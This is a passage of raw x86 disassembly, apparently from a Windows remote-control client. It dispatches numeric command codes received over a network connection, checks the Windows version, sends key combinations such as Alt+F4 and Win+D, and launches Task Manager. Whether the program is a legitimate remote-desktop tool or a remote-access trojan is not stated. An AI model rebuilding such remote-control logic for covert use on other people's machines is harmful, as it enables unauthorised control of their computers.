mov eax, dword [ebx]
test eax, eax
je 0x42aef9
push ebx
push eax
call fcn.0044cd34
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42aee7
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
push ebx
push ecx
mov ebx, dword [ebp - 0x14]
call fcn.0040eba2
dec eax
jns 0x42af2e
push 4
call fcn.0044cd1c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x42af41
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x28], ebx
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d80bb
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebx]
test eax, eax
jne 0x42af7c
mov eax, 0x4d6f24
push eax
push 4
mov ebx, 0x44d810
call fcn.0044cd2e
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x42b000
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42afaf
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42afd8
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee10
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42affb
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42b05f
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b013
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42b03c
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b05f
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42c4ae
push str.80014
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42b9ae
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b090
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d7920
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42b0cb
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44e010
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b0f1
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42b113
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42b10f
imul eax, dword [ebx]
jmp 0x42b104
mov ecx, eax
test ecx, ecx
je 0x42b132
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42b12b
push ebx
push eax
call fcn.0044cd34
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42b119
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040eba2
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jne 0x42b186
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x42b171
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x24]
call fcn.00430ec0
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b199
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x4d9a40
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b1dd
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42b1f1
call fcn.00431140
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b204
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4d9a45
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b248
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42b25c
call fcn.004310ed
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b26f
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4d9a4a
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b2b3
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42b2e6
mov dword [ebp - 0x24], esp
push 1
mov eax, 0x59
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b2e1
push 6
call fcn.0044cd1c
add esp, 4
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b2f9
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x4d9a53
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b33d
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42b370
mov dword [ebp - 0x24], esp
push 0
mov eax, 0x59
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b36b
push 6
call fcn.0044cd1c
add esp, 4
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b383
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x4d9a5c
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b3c7
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42b3db
call fcn.00431239
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b3ee
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4d9a65
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b432
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42b446
call fcn.004312b0
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b459
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4d9a72
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b49d
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42b62e
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5030b8]
test eax, eax
jne 0x42b4c8
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44d520
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x24], eax
push str.Windows_7
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b50c
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
jne 0x42b5f8
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5030b8]
test eax, eax
jne 0x42b537
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44d520
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x2c], eax
push str.Windows_8
push dword [ebp - 0x2c]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42b57b
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x30], 0
jne 0x42b5f8
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5030b8]
test eax, eax
jne 0x42b5a6
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44d520
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x34], eax
push str.Windows_10
push dword [ebp - 0x34]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x42b5ea
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x38], 0
jne 0x42b5f8
xor eax, eax
jmp 0x42b5fd
mov eax, 1
test eax, eax
je 0x42b629
mov dword [ebp - 0x24], esp
push 0
mov eax, 0x5a
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b629
push 6
call fcn.0044cd1c
add esp, 4
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b641
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.win7
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b685
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42b6b8
mov dword [ebp - 0x24], esp
push 1
mov eax, 0x5a
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b6b3
push 6
call fcn.0044cd1c
add esp, 4
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b6cb
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push str.AltF4
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b70f
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42b7ea
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x12
mov eax, 0x5b
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b74c
push 6
call fcn.0044cd1c
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x73
mov eax, 0x5b
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b77f
push 6
call fcn.0044cd1c
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 2
push 0
push 0x12
mov eax, 0x5b
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b7b2
push 6
call fcn.0044cd1c
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 2
push 0
push 0x73
mov eax, 0x5b
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b7e5
push 6
call fcn.0044cd1c
add esp, 4
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b7fd
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push str.CtrlShiftEsc
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42b841
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42b8af
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str._systemroot_System32_taskmgr.exe
push 3
mov ebx, 0x44d1d0
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x42b8aa
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x10
push 0x11
push 0x1b
call fcn.004312ec
jmp 0x42b9a9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b8c2
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.WinD
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42b906
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42b9a9
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x5b
mov eax, 0x5c
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b943
push 6
call fcn.0044cd1c
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x44
mov eax, 0x5c
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b976
push 6
call fcn.0044cd1c
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 2
push 0
push 0x5b
mov eax, 0x5c
call fcn.0044cd22
cmp dword [ebp - 0x24], esp
je 0x42b9a9
push 6
call fcn.0044cd1c
add esp, 4
jmp 0x42c4ae
push str.80015
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42ba96
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42b9da
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d7920
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42ba15
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44e010
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ba3b
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42ba5d
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42ba59
imul eax, dword [ebx]
jmp 0x42ba4e
mov ecx, eax
test ecx, ecx
je 0x42ba7c
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42ba75
push ebx
push eax
call fcn.0044cd34
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42ba63
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.004314ab
jmp 0x42c4ae
push str.80007
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42bf1e
push reloc.WS2_32.dll_connect
push 0
push 0x4d9acc
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
test eax, eax
je 0x42badc
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 8]
xor ebx, ebx
test eax, eax
je 0x42baed
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x42bb04
dec eax
test ecx, ecx
je 0x42bb04
call fcn.00411a68
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bb24
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42bba9
call fcn.0042cc89
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42bb49
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bb6f
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80007
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42bb94
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bba4
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42bf19
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42bbbc
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d7920
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42bbf7
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44e010
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bc1d
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42bc3f
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42bc3b
imul eax, dword [ebx]
jmp 0x42bc30
mov ecx, eax
test ecx, ecx
je 0x42bc5e
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42bc57
push ebx
push eax
call fcn.0044cd34
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42bc45
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040eba2
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jne 0x42bf19
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x42bc9d
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4d99b8
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42bdd2
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x42bcde
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42bcfb
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44dae0
call fcn.0044cd2e
add esp, 0x10
push eax
call fcn.0042f2ce
test eax, eax
je 0x42bd77
push reloc.WS2_32.dll_connect
push 0
push 0x4d99c1
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bd62
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bd72
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42bdcd
push reloc.WS2_32.dll_connect
push 0
push 0x4d99ce
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bdbd
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bdcd
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42bf19
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x42bdf0
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4d99db
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42be78
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x42be31
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42be4e
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44dae0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
push dword [ebp - 0x28]
call fcn.0042f308
jmp 0x42bf19
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x42be96
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4d99e4
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42bf19
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x42bed7
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42bef4
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44dae0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 0
push dword [ebp - 0x28]
call fcn.0042f308
jmp 0x42c4ae
push str.80016
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42c23c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42bf4a
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4d9adf
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bf8e
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42c0a4
cmp dword [0x50317c], 0
je 0x42c000
push reloc.WS2_32.dll_connect
push 0
push 0x4d9aed
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80016
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42bfeb
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42bffb
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42c09f
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0x43275d
push 0
push 0
mov eax, 0x5d
call fcn.0044cd22
cmp dword [ebp - 0x2c], esp
je 0x42c03c
push 6
call fcn.0044cd1c
add esp, 4
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x42c09f
push reloc.WS2_32.dll_connect
push 0
push 0x4d9b09
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80016
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42c08f
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c09f
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42c237
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c0b7
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4d9b19
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c0fb
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42c11f
push dword [0x50317c]
call fcn.00432137
mov dword [0x50317c], 0
jmp 0x42c237
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c132
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4d9adf
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c176
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42c1e8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c193
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x2c], eax
push 0x4d9b19
push dword [ebp - 0x2c]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42c1d7
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [ebp - 0x30], 0
je 0x42c1e8
mov eax, 1
jmp 0x42c1ed
mov eax, 0
test eax, eax
je 0x42c237
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c208
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
call fcn.0043216d
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c237
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42c4ae
push str.80017
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42c289
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 2
push 2
mov eax, 4
mov ebx, 0x4aeeb0
call fcn.0044cd40
add esp, 0x1c
jmp 0x42c4ae
push str.80018
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
